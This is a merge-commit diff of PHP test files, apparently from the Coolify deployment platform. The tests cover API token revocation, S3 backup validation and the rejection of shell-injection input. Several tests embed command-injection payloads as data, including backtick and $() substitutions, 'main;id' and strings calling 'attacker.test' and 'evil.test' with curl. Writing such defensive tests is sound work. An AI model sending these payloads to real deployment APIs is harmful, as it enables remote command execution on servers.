Merge branch 'v4.x' into api-application-preview-deployments

This commit is contained in:
Julien Bouquillon authored and GitHub committed 2026-07-01 19:11:16 +02:00
commit 77086e28af
307 files changed
+12998 -4335

No files matched your search

@@ -0,0 +1,89 @@
<?php
use App\Models\Application;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Str;
use Visus\Cuid2\Cuid2;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$plainTextToken = Str::random(40);
$token = $this->user->tokens()->create([
'name' => 'git-branch-security-test-'.Str::random(6),
'token' => hash('sha256', $plainTextToken),
'abilities' => ['*'],
'team_id' => $this->team->id,
]);
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
StandaloneDocker::withoutEvents(function () {
$this->destination = $this->server->standaloneDockers()->firstOrCreate(
['network' => 'coolify'],
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
);
});
$this->project = Project::create([
'uuid' => (string) new Cuid2,
'name' => 'test-project',
'team_id' => $this->team->id,
]);
$this->environment = $this->project->environments()->first();
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'git_branch' => 'main',
]);
});
function gitBranchApiHeaders(string $bearerToken): array
{
return [
'Authorization' => 'Bearer '.$bearerToken,
'Content-Type' => 'application/json',
];
}
describe('PATCH /api/v1/applications/{uuid} git_branch security', function () {
test('rejects backtick command substitution branch payloads', function () {
$payload = 'main`curl${IFS}attacker.test/coolify-rce-`id${IFS}-u``';
$response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'git_branch' => $payload,
]);
$response->assertUnprocessable()
->assertJsonValidationErrors('git_branch');
expect($this->application->refresh()->git_branch)->toBe('main');
});
test('accepts safe branch names', function () {
$response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'git_branch' => 'feature/safe-branch_1.2.3',
]);
$response->assertOk();
expect($this->application->refresh()->git_branch)->toBe('feature/safe-branch_1.2.3');
});
});
@@ -0,0 +1,128 @@
<?php
use App\Livewire\Security\ApiTokens;
use App\Livewire\Team\Member;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Hash;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::unguarded(fn () => InstanceSettings::query()->updateOrCreate(
['id' => 0],
['is_api_enabled' => true],
));
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'admin']);
session(['currentTeam' => $this->team]);
});
function bearerJson(string $token): array
{
return [
'Authorization' => 'Bearer '.$token,
'Content-Type' => 'application/json',
];
}
test('removed member token cannot read team projects', function () {
Project::create(['name' => 'Secret', 'team_id' => $this->team->id]);
$token = $this->user->createToken('read-token', ['read'])->plainTextToken;
$this->team->members()->detach($this->user->id);
$this->withHeaders(bearerJson($token))
->getJson('/api/v1/projects')
->assertUnauthorized();
});
test('removed member token cannot create team projects', function () {
$token = $this->user->createToken('write-token', ['write'])->plainTextToken;
$this->team->members()->detach($this->user->id);
$this->withHeaders(bearerJson($token))
->postJson('/api/v1/projects', ['name' => 'Should Not Exist'])
->assertUnauthorized();
expect(Project::where('name', 'Should Not Exist')->exists())->toBeFalse();
});
test('downgraded member old write token cannot create team projects', function () {
$token = $this->user->createToken('write-token', ['write'])->plainTextToken;
$this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']);
$this->withHeaders(bearerJson($token))
->postJson('/api/v1/projects', ['name' => 'Downgrade Bypass'])
->assertForbidden();
expect(Project::where('name', 'Downgrade Bypass')->exists())->toBeFalse();
});
test('admin removal through team member component revokes team tokens', function () {
$owner = User::factory()->create();
$this->team->members()->attach($owner->id, ['role' => 'owner']);
$token = $this->user->createToken('read-token', ['read'])->accessToken;
$this->actingAs($owner);
session(['currentTeam' => $this->team]);
Livewire::test(Member::class, ['member' => $this->user])
->call('remove');
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
});
test('role downgrade through team member component revokes team tokens', function () {
$owner = User::factory()->create();
$this->team->members()->attach($owner->id, ['role' => 'owner']);
$token = $this->user->createToken('write-token', ['write'])->accessToken;
$this->actingAs($owner);
session(['currentTeam' => $this->team]);
Livewire::test(Member::class, ['member' => $this->user])
->call('makeReadonly');
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
});
test('member cannot create write token through livewire token form', function () {
$this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
Livewire::test(ApiTokens::class)
->set('description', 'member-write-token')
->set('expiresInDays', 30)
->set('permissions', ['write'])
->call('addNewToken');
expect($this->user->tokens()->where('name', 'member-write-token')->exists())->toBeFalse();
});
test('password change revokes user personal access tokens', function () {
$token = $this->user->createToken('read-token', ['read'])->accessToken;
$this->user->forceFill(['password' => Hash::make('new-password')])->save();
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
});
test('team deletion revokes team bound personal access tokens', function () {
$token = $this->user->createToken('read-token', ['read'])->accessToken;
$this->team->delete();
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
});
@@ -205,6 +205,127 @@ it('filters buildpack control vars from preview build-time env files', function
expect($buildtimeEnvs->contains(fn (string $env) => str($env)->startsWith('RAILPACK_NODE_VERSION=')))->toBeFalse();
});
it('does not let preview docker compose service names override generated build-time service names', function () {
$compose = <<<'YAML'
services:
app:
image: nginx
postgresapp:
image: postgres:16-alpine
YAML;
[$application, $server] = makeDeploymentControlVarFixture([
'build_pack' => 'dockercompose',
'docker_compose_raw' => $compose,
'docker_compose' => $compose,
'docker_compose_domains' => '[]',
]);
createApplicationEnvironmentVariable($application, [
'key' => 'SERVICE_NAME_POSTGRESAPP',
'value' => '',
'is_preview' => true,
'is_runtime' => true,
'is_buildtime' => true,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'SERVICE_URL_APP',
'value' => '',
'is_preview' => true,
'is_runtime' => true,
'is_buildtime' => true,
]);
[$job, $reflection] = makeControlVarFilteringJob($application, $server, [
'pull_request_id' => 241,
]);
/** @var Collection $buildtimeEnvs */
$buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables');
$envString = $buildtimeEnvs->implode("\n");
expect($envString)->toContain("SERVICE_NAME_POSTGRESAPP='postgresapp-pr-241'");
expect($envString)->not->toContain('SERVICE_NAME_POSTGRESAPP=""');
expect($envString)->not->toContain('SERVICE_URL_APP=');
});
it('does not let production docker compose service names override generated build-time service names', function () {
$compose = <<<'YAML'
services:
app:
image: nginx
postgresapp:
image: postgres:16-alpine
YAML;
[$application, $server] = makeDeploymentControlVarFixture([
'build_pack' => 'dockercompose',
'docker_compose_raw' => $compose,
'docker_compose' => $compose,
'docker_compose_domains' => '[]',
]);
createApplicationEnvironmentVariable($application, [
'key' => 'SERVICE_NAME_POSTGRESAPP',
'value' => 'stale-postgresapp',
'is_runtime' => true,
'is_buildtime' => true,
]);
[$job, $reflection] = makeControlVarFilteringJob($application, $server);
/** @var Collection $buildtimeEnvs */
$buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables');
$envString = $buildtimeEnvs->implode("\n");
expect($envString)->toContain("SERVICE_NAME_POSTGRESAPP='postgresapp'");
expect($envString)->not->toContain('stale-postgresapp');
});
it('filters docker compose generated service variables from build args', function () {
[$application, $server] = makeDeploymentControlVarFixture([
'build_pack' => 'dockercompose',
]);
createApplicationEnvironmentVariable($application, [
'key' => 'APP_ENV',
'value' => 'production',
'is_preview' => true,
'is_runtime' => true,
'is_buildtime' => true,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'SERVICE_NAME_POSTGRESAPP',
'value' => '',
'is_preview' => true,
'is_runtime' => true,
'is_buildtime' => true,
]);
createApplicationEnvironmentVariable($application, [
'key' => 'SERVICE_URL_APP',
'value' => 'https://preview.example.com',
'is_preview' => true,
'is_runtime' => true,
'is_buildtime' => true,
]);
[$job, $reflection] = makeControlVarFilteringJob($application, $server, [
'pull_request_id' => 241,
]);
invokeDeploymentJobMethod($job, $reflection, 'generate_env_variables');
/** @var Collection $envArgs */
$envArgs = readDeploymentJobProperty($job, $reflection, 'env_args');
expect($envArgs->get('APP_ENV'))->toBe('production');
expect($envArgs->has('SERVICE_NAME_POSTGRESAPP'))->toBeFalse();
expect($envArgs->has('SERVICE_URL_APP'))->toBeFalse();
});
it('filters buildpack control vars from preview runtime env fallback', function () {
[$application, $server] = makeDeploymentControlVarFixture();
@@ -0,0 +1,108 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Str;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$plainTextToken = Str::random(40);
$token = $this->user->tokens()->create([
'name' => 'docker-registry-validation-api-test-'.Str::random(6),
'token' => hash('sha256', $plainTextToken),
'abilities' => ['*'],
'team_id' => $this->team->id,
]);
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::factory()->create([
'server_id' => $this->server->id,
'network' => 'coolify-'.Str::lower(Str::random(8)),
]);
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
function dockerRegistryApiHeaders(string $bearerToken): array
{
return [
'Authorization' => 'Bearer '.$bearerToken,
'Content-Type' => 'application/json',
];
}
function makeDockerRegistryValidationApplication(array $overrides = []): Application
{
return Application::factory()->create(array_merge([
'environment_id' => test()->environment->id,
'destination_id' => test()->destination->id,
'destination_type' => test()->destination->getMorphClass(),
'build_pack' => 'nixpacks',
'docker_registry_image_name' => 'ghcr.io/coollabsio/example',
'docker_registry_image_tag' => 'latest',
], $overrides));
}
describe('PATCH /api/v1/applications/{uuid} docker registry image validation', function () {
test('rejects shell metacharacters in docker registry image name without persisting them', function () {
$application = makeDockerRegistryValidationApplication();
$response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$application->uuid}", [
'docker_registry_image_name' => 'coolify/poc$(touch /tmp/pwned)',
'docker_registry_image_tag' => 'latest',
]);
$response->assertUnprocessable()
->assertInvalid(['docker_registry_image_name']);
$application->refresh();
expect($application->docker_registry_image_name)->toBe('ghcr.io/coollabsio/example')
->and($application->docker_registry_image_tag)->toBe('latest');
});
test('rejects shell metacharacters in docker registry image tag without persisting them', function () {
$application = makeDockerRegistryValidationApplication();
$response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$application->uuid}", [
'docker_registry_image_name' => 'ghcr.io/coollabsio/example',
'docker_registry_image_tag' => 'latest$(touch /tmp/pwned)',
]);
$response->assertUnprocessable()
->assertInvalid(['docker_registry_image_tag']);
$application->refresh();
expect($application->docker_registry_image_name)->toBe('ghcr.io/coollabsio/example')
->and($application->docker_registry_image_tag)->toBe('latest');
});
test('accepts valid docker registry image values', function () {
$application = makeDockerRegistryValidationApplication();
$response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$application->uuid}", [
'docker_registry_image_name' => 'registry.example.com:5000/team/app',
'docker_registry_image_tag' => 'v1.2.3',
]);
$response->assertOk();
$application->refresh();
expect($application->docker_registry_image_name)->toBe('registry.example.com:5000/team/app')
->and($application->docker_registry_image_tag)->toBe('v1.2.3');
});
});
+3 -15
View File
@@ -13,7 +13,7 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
it('seeds a railpack nodejs fastify example alongside the existing nixpacks example', function () {
it('seeds the default applications without railpack examples', function () {
$this->seed([
UserSeeder::class,
TeamSeeder::class,
@@ -26,7 +26,6 @@ it('seeds a railpack nodejs fastify example alongside the existing nixpacks exam
]);
$nixpacksExample = Application::where('uuid', 'nodejs')->first();
$railpackExample = Application::where('uuid', 'railpack-nodejs')->first();
expect($nixpacksExample)
->not->toBeNull()
@@ -35,17 +34,6 @@ it('seeds a railpack nodejs fastify example alongside the existing nixpacks exam
->and($nixpacksExample->base_directory)->toBe('/nodejs')
->and($nixpacksExample->ports_exposes)->toBe('3000');
expect($railpackExample)
->not->toBeNull()
->and($railpackExample->name)->toBe('Railpack NodeJS Fastify Example')
->and($railpackExample->fqdn)->toBe('http://railpack-nodejs.127.0.0.1.sslip.io')
->and($railpackExample->repository_project_id)->toBe(603035348)
->and($railpackExample->git_repository)->toBe('coollabsio/coolify-examples')
->and($railpackExample->git_branch)->toBe('v4.x')
->and($railpackExample->base_directory)->toBe('/nodejs')
->and($railpackExample->build_pack)->toBe('railpack')
->and($railpackExample->ports_exposes)->toBe('3000')
->and($railpackExample->environment_id)->toBe(1)
->and($railpackExample->destination_id)->toBe(0)
->and($railpackExample->source_id)->toBe(1);
expect(Application::query()->where('build_pack', 'railpack')->exists())->toBeFalse();
expect(Application::query()->whereIn('uuid', ['railpack-nodejs', 'railpack-static'])->exists())->toBeFalse();
});
@@ -0,0 +1,42 @@
<?php
function renderApplicationServerStatusBadge(?bool $serverStatus, string $status = 'running', bool $hasAdditionalServers = false): string
{
$application = new class($serverStatus, $status, $hasAdditionalServers)
{
public function __construct(
public ?bool $server_status,
public string $status,
private bool $hasAdditionalServers,
) {}
public function additional_servers(): object
{
return new class($this->hasAdditionalServers)
{
public function __construct(private bool $exists) {}
public function exists(): bool
{
return $this->exists;
}
};
}
};
return view('livewire.project.application.server-status-badge', [
'application' => $application,
])->render();
}
it('does not show the unreachable server badge when server status is unknown', function () {
$html = renderApplicationServerStatusBadge(null);
expect($html)->not->toContain('One or more servers are unreachable or misconfigured.');
});
it('shows the unreachable server badge only when server status is false', function () {
$html = renderApplicationServerStatusBadge(false);
expect($html)->toContain('One or more servers are unreachable or misconfigured.');
});
@@ -0,0 +1,82 @@
<?php
use App\Actions\Application\StopApplication;
use App\Models\Application;
use App\Notifications\Application\RestartLimitReached;
function applicationWithRestartState(array $attributes = []): Application
{
$application = new Application;
$application->forceFill(array_merge([
'status' => 'exited:unhealthy',
'restart_count' => 2,
'max_restart_count' => 2,
'last_restart_type' => 'crash',
'last_restart_at' => now(),
], $attributes));
return $application;
}
it('detects applications stopped after reaching the crash restart limit', function () {
expect(applicationWithRestartState()->stoppedAfterRestartLimit())->toBeTrue()
->and(applicationWithRestartState(['status' => 'running:unhealthy'])->stoppedAfterRestartLimit())->toBeFalse()
->and(applicationWithRestartState(['restart_count' => 1])->stoppedAfterRestartLimit())->toBeFalse()
->and(applicationWithRestartState(['max_restart_count' => 0])->stoppedAfterRestartLimit())->toBeFalse()
->and(applicationWithRestartState(['last_restart_type' => null])->stoppedAfterRestartLimit())->toBeFalse();
});
it('shows a stopped after restart limit warning in the status badge', function () {
$html = view('components.status.index', [
'resource' => applicationWithRestartState(),
'showRefreshButton' => false,
])->render();
expect($html)->toContain('Stopped after reaching restart limit (2/2).')
->and($html)->toContain('Container has crashed and Coolify stopped it after 2 restart attempts.');
});
it('does not show the restart limit warning for a normal manual stop', function () {
$html = view('components.status.index', [
'resource' => applicationWithRestartState([
'restart_count' => 0,
'last_restart_type' => null,
]),
'showRefreshButton' => false,
])->render();
expect($html)->not->toContain('Stopped after reaching restart limit');
});
it('keeps restart tracking configurable when stopping an application', function () {
$method = new ReflectionMethod(StopApplication::class, 'handle');
$resetRestartCount = collect($method->getParameters())->firstWhere('name', 'resetRestartCount');
expect($resetRestartCount)->not->toBeNull()
->and($resetRestartCount->getDefaultValue())->toBeTrue();
});
it('uses the application link for restart limit notifications', function () {
$application = new class extends Application
{
public function link()
{
return 'https://coolify.test/project/link-from-model';
}
};
$application->forceFill([
'name' => 'crashy-app',
'uuid' => 'application-uuid',
'restart_count' => 2,
'max_restart_count' => 2,
]);
$application->setRelation('environment', (object) [
'uuid' => 'environment-uuid',
'name' => 'production',
'project' => (object) ['uuid' => 'project-uuid'],
]);
$notification = new RestartLimitReached($application);
expect($notification->resource_url)->toBe('https://coolify.test/project/link-from-model');
});
@@ -0,0 +1,85 @@
<?php
use App\Livewire\Project\Database\BackupEdit;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\ScheduledDatabaseBackup;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\StandalonePostgresql;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
function createBackupForEditValidationTest(Team $team, array $overrides = []): ScheduledDatabaseBackup
{
$server = Server::factory()->create(['team_id' => $team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$database = StandalonePostgresql::create([
'name' => 'pg-backup-edit-validation',
'image' => 'postgres:16-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'postgres',
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
]);
return ScheduledDatabaseBackup::create(array_merge([
'frequency' => '0 0 * * *',
'save_s3' => true,
's3_storage_id' => null,
'database_type' => $database->getMorphClass(),
'database_id' => $database->id,
'team_id' => $team->id,
], $overrides));
}
beforeEach(function () {
if (InstanceSettings::find(0) === null) {
$settings = new InstanceSettings;
$settings->id = 0;
$settings->save();
}
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->user->teams()->attach($this->team, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
});
it('disables S3 backup when saved without a selected S3 storage', function () {
$backup = createBackupForEditValidationTest($this->team);
Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 's3s' => $this->team->s3s])
->call('submit')
->assertDispatched('success');
$backup->refresh();
expect($backup->save_s3)->toBeFalsy();
expect($backup->s3_storage_id)->toBeNull();
});
it('cascades to disabling local backup deletion when S3 is force-disabled', function () {
$backup = createBackupForEditValidationTest($this->team, [
'disable_local_backup' => true,
]);
Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 's3s' => $this->team->s3s])
->call('submit')
->assertDispatched('success');
$backup->refresh();
expect($backup->save_s3)->toBeFalsy();
expect($backup->s3_storage_id)->toBeNull();
expect($backup->disable_local_backup)->toBeFalsy();
});
@@ -6,7 +6,30 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
it('cleans up servers with unreachable_count >= 3 after 7 days', function () {
it('disables (non-destructively) self-hosted servers with unreachable_count >= 3 after 7 days', function () {
config(['constants.coolify.self_hosted' => true]);
$team = Team::factory()->create();
$server = Server::factory()->create([
'team_id' => $team->id,
'unreachable_count' => 50,
'unreachable_notification_sent' => true,
'updated_at' => now()->subDays(8),
]);
$originalIp = (string) $server->ip;
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
$server->refresh();
// IP must be preserved — never overwritten on self-hosted.
expect($server->ip)->toBe($originalIp);
expect($server->settings->force_disabled)->toBeTrue();
});
it('overwrites the IP with 1.2.3.4 on cloud for servers with unreachable_count >= 3 after 7 days', function () {
config(['constants.coolify.self_hosted' => false]);
$team = Team::factory()->create();
$server = Server::factory()->create([
'team_id' => $team->id,
@@ -36,6 +59,7 @@ it('does not clean up servers with unreachable_count less than 3', function () {
$server->refresh();
expect($server->ip)->toBe($originalIp);
expect($server->settings->force_disabled)->toBeFalse();
});
it('does not clean up servers updated within 7 days', function () {
@@ -53,6 +77,7 @@ it('does not clean up servers updated within 7 days', function () {
$server->refresh();
expect($server->ip)->toBe($originalIp);
expect($server->settings->force_disabled)->toBeFalse();
});
it('does not clean up servers without notification sent', function () {
@@ -70,4 +95,5 @@ it('does not clean up servers without notification sent', function () {
$server->refresh();
expect($server->ip)->toBe($originalIp);
expect($server->settings->force_disabled)->toBeFalse();
});
@@ -1,6 +1,9 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Models\ApplicationSetting;
use App\Rules\ValidGitBranch;
use App\Support\ValidationPatterns;
describe('deployment job path field validation', function () {
@@ -127,6 +130,38 @@ describe('deployment job path field validation', function () {
});
describe('API validation rules for path fields', function () {
test('git_branch validation rejects shell metacharacters', function (string $branch) {
$rules = sharedDataApplications();
$validator = validator(
['git_branch' => $branch],
['git_branch' => $rules['git_branch']]
);
expect($validator->fails())->toBeTrue();
})->with([
'backtick command substitution' => 'main`id`',
'dollar command substitution' => 'main$(id)',
'semicolon command separator' => 'main;id',
'ifs shell expansion' => 'main${IFS}id',
'space separator' => 'main branch',
]);
test('git_branch validation allows safe branch names', function (string $branch) {
$rules = sharedDataApplications();
$validator = validator(
['git_branch' => $branch],
['git_branch' => $rules['git_branch']]
);
expect($validator->fails())->toBeFalse();
})->with([
'main',
'feature/safe-branch',
'release_2026.06',
]);
test('dockerfile_location validation rejects shell metacharacters', function () {
$rules = sharedDataApplications();
@@ -183,6 +218,68 @@ describe('API validation rules for path fields', function () {
});
});
describe('deployment git command escaping', function () {
test('ls-remote command shell-quotes repository and ref arguments', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$instance = $job->newInstanceWithoutConstructor();
foreach ([
'customPort' => 22,
'fullRepoUrl' => "git@example.com:org/repo.git'; curl evil.test; #",
] as $property => $value) {
$reflectionProperty = $job->getProperty($property);
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($instance, $value);
}
$method = $job->getMethod('gitLsRemoteCommand');
$method->setAccessible(true);
$command = $method->invoke($instance, 'refs/heads/main`id`', '/root/.ssh/id_rsa');
expect($command)
->toContain("git ls-remote 'git@example.com:org/repo.git'\\''; curl evil.test; #' 'refs/heads/main`id`'")
->toContain('-i /root/.ssh/id_rsa')
->not->toContain('repo.git; curl');
});
test('coolify branch shell assignment is quoted', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$instance = $job->newInstanceWithoutConstructor();
$application = new Application;
$application->uuid = 'app-uuid';
$application->git_branch = 'main`id`';
$application->fqdn = null;
$application->compose_parsing_version = '3';
$settings = new ApplicationSetting;
$settings->include_source_commit_in_build = false;
$application->setRelation('settings', $settings);
foreach ([
'application' => $application,
'commit' => 'HEAD',
'pull_request_id' => 0,
] as $property => $value) {
$reflectionProperty = $job->getProperty($property);
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($instance, $value);
}
$method = $job->getMethod('set_coolify_variables');
$method->setAccessible(true);
$method->invoke($instance);
$coolifyVariables = $job->getProperty('coolify_variables');
$coolifyVariables->setAccessible(true);
expect($coolifyVariables->getValue($instance))
->toContain("COOLIFY_BRANCH='main`id`' ")
->toContain('COOLIFY_RESOURCE_UUID=app-uuid ');
});
});
describe('sharedDataApplications rules survive array_merge in controller', function () {
test('docker_compose_location safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
@@ -636,6 +733,7 @@ describe('custom_docker_run_options validation', function () {
'--entrypoint "sh -c \'npm start\'"',
'--entrypoint "sh -c \'php artisan schedule:work\'"',
'--hostname "my-host"',
'--dns 10.0.0.10 --dns=1.1.1.1',
]);
});
@@ -978,3 +1076,46 @@ describe('install/build/start command rules survive array_merge in controller',
expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
});
describe('git_branch validation rules survive array_merge in controller', function () {
test('git_branch uses ValidGitBranch in shared application rules', function () {
$rules = sharedDataApplications();
expect($rules['git_branch'])->toBeArray();
expect(collect($rules['git_branch'])->contains(fn ($rule) => $rule instanceof ValidGitBranch))->toBeTrue();
});
test('git_branch rejects shell metacharacter payloads', function (string $payload) {
$rules = sharedDataApplications();
$validator = validator(
['git_branch' => $payload],
['git_branch' => $rules['git_branch']]
);
expect($validator->fails())->toBeTrue();
})->with([
'semicolon command separator' => 'main;touch /tmp/pwned;#',
'command substitution' => 'main$(touch /tmp/pwned)',
'backtick substitution' => 'main`touch /tmp/pwned`',
'pipe operator' => 'main|id',
'newline injection' => "main\ntouch /tmp/pwned",
'redirect operator' => 'main>/tmp/pwned',
'single quote breakout' => "main';id;#",
]);
test('git_branch accepts safe branch names', function (string $branch) {
$rules = sharedDataApplications();
$validator = validator(
['git_branch' => $branch],
['git_branch' => $rules['git_branch']]
);
expect($validator->fails())->toBeFalse();
})->with([
'main',
'feature/my-branch',
'release_1.2.3',
]);
});
@@ -0,0 +1,138 @@
<?php
use App\Livewire\Project\Database\CreateScheduledBackup;
use App\Models\Environment;
use App\Models\Project;
use App\Models\S3Storage;
use App\Models\ScheduledDatabaseBackup;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\StandalonePostgresql;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
function createDatabaseForScheduledBackupTest(Team $team): StandalonePostgresql
{
$server = Server::factory()->create(['team_id' => $team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
return StandalonePostgresql::create([
'name' => 'pg-scheduled-backup-validation',
'image' => 'postgres:16-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'postgres',
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
]);
}
function createS3StorageForTeam(Team $team, string $name = 'Test S3'): S3Storage
{
return S3Storage::create([
'name' => $name,
'region' => 'us-east-1',
'key' => 'test-key',
'secret' => 'test-secret',
'bucket' => 'test-bucket',
'endpoint' => 'https://s3.example.com',
'is_usable' => true,
'team_id' => $team->id,
]);
}
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->user->teams()->attach($this->team, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
});
it('rejects enabling S3 backup without a selected S3 storage', function () {
$database = createDatabaseForScheduledBackupTest($this->team);
Livewire::test(CreateScheduledBackup::class, ['database' => $database])
->set('frequency', '0 0 * * *')
->set('saveToS3', true)
->set('s3StorageId', null)
->call('submit')
->assertDispatched('error');
expect(ScheduledDatabaseBackup::count())->toBe(0);
});
it('rejects an S3 storage not owned by the current team', function () {
$database = createDatabaseForScheduledBackupTest($this->team);
$foreignS3 = createS3StorageForTeam(Team::factory()->create(), 'Foreign S3');
Livewire::test(CreateScheduledBackup::class, ['database' => $database])
->set('frequency', '0 0 * * *')
->set('saveToS3', true)
->set('s3StorageId', $foreignS3->id)
->call('submit')
->assertDispatched('error');
expect(ScheduledDatabaseBackup::count())->toBe(0);
});
it('rejects an S3 storage that is reassigned after the component is mounted', function () {
$database = createDatabaseForScheduledBackupTest($this->team);
$s3 = createS3StorageForTeam($this->team);
$component = Livewire::test(CreateScheduledBackup::class, ['database' => $database])
->set('frequency', '0 0 * * *')
->set('saveToS3', true)
->set('s3StorageId', $s3->id);
$s3->update(['team_id' => Team::factory()->create()->id]);
$component
->call('submit')
->assertDispatched('error');
expect(ScheduledDatabaseBackup::count())->toBe(0);
});
it('rejects an S3 storage that becomes unusable after the component is mounted', function () {
$database = createDatabaseForScheduledBackupTest($this->team);
$s3 = createS3StorageForTeam($this->team);
$component = Livewire::test(CreateScheduledBackup::class, ['database' => $database])
->set('frequency', '0 0 * * *')
->set('saveToS3', true)
->set('s3StorageId', $s3->id);
$s3->update(['is_usable' => false]);
$component
->call('submit')
->assertDispatched('error');
expect(ScheduledDatabaseBackup::count())->toBe(0);
});
it('creates a scheduled backup with a valid team-owned S3 storage', function () {
$database = createDatabaseForScheduledBackupTest($this->team);
$s3 = createS3StorageForTeam($this->team);
Livewire::test(CreateScheduledBackup::class, ['database' => $database])
->set('frequency', '0 0 * * *')
->set('saveToS3', true)
->set('s3StorageId', $s3->id)
->call('submit')
->assertDispatched('refreshScheduledBackups');
$backup = ScheduledDatabaseBackup::first();
expect($backup)->not->toBeNull();
expect($backup->save_s3)->toBeTruthy();
expect($backup->s3_storage_id)->toBe($s3->id);
});
+42
View File
@@ -66,6 +66,48 @@ test('upload_to_s3 throws exception and disables s3 when storage is null', funct
expect($backup->s3_storage_id)->toBeNull();
});
test('upload_to_s3 exception message reports the previous s3 storage id', function () {
$backup = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => true,
's3_storage_id' => 12345,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => Team::factory()->create()->id,
]);
$job = new DatabaseBackupJob($backup);
$reflection = new ReflectionClass($job);
$reflection->getProperty('s3')->setValue($job, null);
expect(fn () => $reflection->getMethod('upload_to_s3')->invoke($job))
->toThrow(Exception::class, 'S3 storage ID: 12345');
$backup->refresh();
expect($backup->save_s3)->toBeFalsy();
expect($backup->s3_storage_id)->toBeNull();
});
